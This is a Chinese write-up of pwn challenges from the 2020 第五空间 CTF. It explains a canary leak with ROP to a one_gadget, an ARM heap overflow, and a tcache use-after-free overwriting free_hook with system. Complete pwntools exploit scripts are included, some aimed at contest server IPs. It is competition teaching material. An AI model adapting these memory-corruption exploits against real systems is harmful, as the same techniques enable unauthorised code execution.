2020第五空间线上赛WP
loop
循环解压即可获得flag,直接上脚本:
1 2 3 4
| import os while(1): os.system("unzip -o zipfile") os.system("tar -xvf tarfile")
|
twice
主要漏洞点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| int64 __fastcall sub_4007A9(int a1) { unsigned int v2; int v3; int v4; char s[88]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); memset(s, 0, 0x50uLL); putchar('>'); v3 = sub_40076D(0x50); if ( a1 ) { if ( a1 != 1 ) return 0LL; v2 = 0; } else { v2 = 1; } v4 = read(0, s, v3); puts(s); if ( !a1 ) s[v4 - 1] = 0; return v2; }
|
其中a1为count,sub_40076D函数根据count是否为1返回0x70或0x59。
并且read函数的第三个参数v3在汇编函数中取值是根据:
1 2
| .text:0000000000400823 mov eax, [rbp-68h] .text:0000000000400826 movsxd rdx, eax
|
思路
首先第一执行sub_4007A9时count为0,即实现read(0, s, 0x59)
。故直接传入’a’*0x59即可leak出canary和stack,以便后续rop:
1 2 3 4 5 6
| p.send("a"*0x59) p.recvuntil("a"*0x58) canary = u64(p.recv(8))-0x61 print hex(canary) stack = u64(p.recv(6)+'\x00\x00') print hex(stack)
|
接着控制rbp指针,再直接跳转回0x400823,从而控制可输入字符串的大小:
1 2 3 4 5 6 7 8
| vuln = 0x400823 pay = p64(0x100)*2 pay += 'a'*0x48 pay += p64(canary) pay += p64(stack) pay += p64(vuln) p.send(pay.ljust(0x70,'\x00')) p.recv()
|
接着就可以输入任意长度的rop串从而执行leak出libc等目的(需要注意的是因为rsp的原因所以执行rop的地方在read函数中)。这里先leak出libc地址,并且返回到sub_4007A9函数中,此时count仍为1,从而可以比较方便的实现一次溢出,从而用onegadget来getshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pay = 'a'*0x58 pay += p64(pop_rdi) pay += p64(libc_start_main_got) pay += p64(puts_plt) pay += p64(0x4007A9) p.send(pay.ljust(0x100,'\x00')) p.recv(1) libc.address = u64(p.recv(6)+'\x00\x00') - libc.sym['__libc_start_main'] print hex(libc.address)
pay = 'a'*0x58 pay += p64(canary) pay += p64(stack) pay += p64(libc.address+one[1]) p.send(pay)
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * p = process("./pwn") libc = ELF("./pwn").libc
vuln = 0x400823 pop_rdi = 0x0000000000400923 puts_plt = 0x4005C0 libc_start_main_got = 0x601040 pop_rbp = 0x4008B6 leave = 0x40087a
p.send("a"*0x59) p.recvuntil("a"*0x58) canary = u64(p.recv(8))-0x61 print hex(canary) stack = u64(p.recv(6)+'\x00\x00') print hex(stack)
read = 0x4007A9 one = [0x45216,0x4526a,0xf02a4,0xf1147]
pay = p64(0x100)*2 pay += 'a'*0x48 pay += p64(canary) pay += p64(stack) pay += p64(vuln) p.send(pay.ljust(0x70,'\x00')) p.recv()
pay = 'a'*0x58 pay += p64(pop_rdi) pay += p64(libc_start_main_got) pay += p64(puts_plt) pay += p64(read) p.send(pay.ljust(0x100,'\x00')) p.recv(1) libc.address = u64(p.recv(6)+'\x00\x00') - libc.sym['__libc_start_main'] print hex(libc.address)
pay = 'a'*0x58 pay += p64(canary) pay += p64(stack) pay += p64(libc.address+one[1]) p.send(pay) p.interactive()
|
pwnme
arm的pwn,比较简单,难的是环境的搭建以及关于堆漏洞的发现。
不知道是什么版本的libc,尝试了下发现存在fastbin和unsortbin类似的管理方式。
因为对edit没有限制大小,可以实现堆溢出,从而修改fd达到任意申请的目的(地址有一定的偏移,多试几遍就能发现)。
思路
首先通过溢出修改fd,从而达到重复申请同一堆块的目的,进而可以利用unsortbin来leak出libc地址。接着继续通过修改fd的方式控制堆指针,进而指向free_hook,把free_hook改为system,最终getshell。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * context.arch = 'arm' one = [0x4F438,0x2F9AC,0x35A80,0x50170,0x515AC]
p = remote("121.36.58.215","1337") context.log_level = 'debug'
main_got = 0x2100C def add(size,data): p.recvuntil(">>> ") p.sendline("2") p.recvuntil("Length:") p.sendline(str(size)) p.recvuntil("Tag:") p.sendline(data) def edit(index,size,data): p.recvuntil(">>> ") p.sendline("3") p.recvuntil("Index:") p.sendline(str(index)) p.recvuntil("Length:") p.sendline(str(size)) p.recvuntil("Tag:") p.sendline(data) def free(index): p.recvuntil(">>> ") p.sendline("4") p.recvuntil("Tag:") p.sendline(str(index)) def show(): p.recvuntil(">>> ") p.sendline("1") add(0x8,'aaa') add(0x8,'aaa') add(0x100,'ccc') add(0x11,'aaa') free(1) free(0) add(0x8,'a') edit(0,0x40,'a'*0x8+p32(0)+p32(0x119)+p32(0x22002)) add(0x8,'a') add(0x8,'dddd') free(0) free(1) show() p.recvuntil("4 : ") libc = u32(p.recv(4)) -0x9A8EC print hex(libc) add(0x8,'a') edit(0,0x40,'a'*0x8+p32(0)+p32(0x11)+p32(0x22)+p32(0)) free(4) edit(0,0x40,'a'*0x8+p32(0)+p32(0x11)+p32(0x2107c-2)+p32(0)) add(0x8,'/bin/sh\x00') add(0x8,'\x00'*0x8) edit(4,0x10,'\x00'*0x8+p32(0x20)+p32(0x21038)) edit(0,0x10,p32(libc+0x51800)) free(1)
p.interactive()
|
of
比较ez的一道堆题,不过感觉跟环境有关系,本地测试的时候free后cookie值会被更改,而远程倒不会,所以直接去掉这方面的验证。
题目比较简单,存在UAF漏洞,并且可以show/edit等操作,ubuntu18.04的环境。
思路
首先填满tcache,从而leak出libc,接着利用tcache直接申请到free_hook,改为system就能getshell了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
p = remote("121.36.74.70","9999") one = [0x4f2c5,0x4f322,0x10a38c]
libc = ELF("./of").libc def add(index): p.recvuntil("Your choice: ") p.sendline("1") p.recvuntil("Index: ") p.sendline(str(index)) def edit(index,data): p.recvuntil("Your choice: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(index)) p.recvuntil("Content: ") p.sendline(data) def show(index): p.recvuntil("Your choice: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(index)) def free(index): p.recvuntil("Your choice: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(index)) for i in range(9): add(i) for i in range(8): free(i) show(7) p.recvuntil("Content: ") libc.address = u64(p.recv(6)+'\x00\x00') - 0x3EBCA0 print(hex(libc.address)) edit(6,p64(libc.sym['__free_hook'])) add(0) print(hex(libc.sym['system'])) print(hex(libc.sym['__free_hook'])) add(1) edit(1,p64(libc.sym['system'])) edit(8,'/bin/sh\x00')
free(8) p.interactive()
|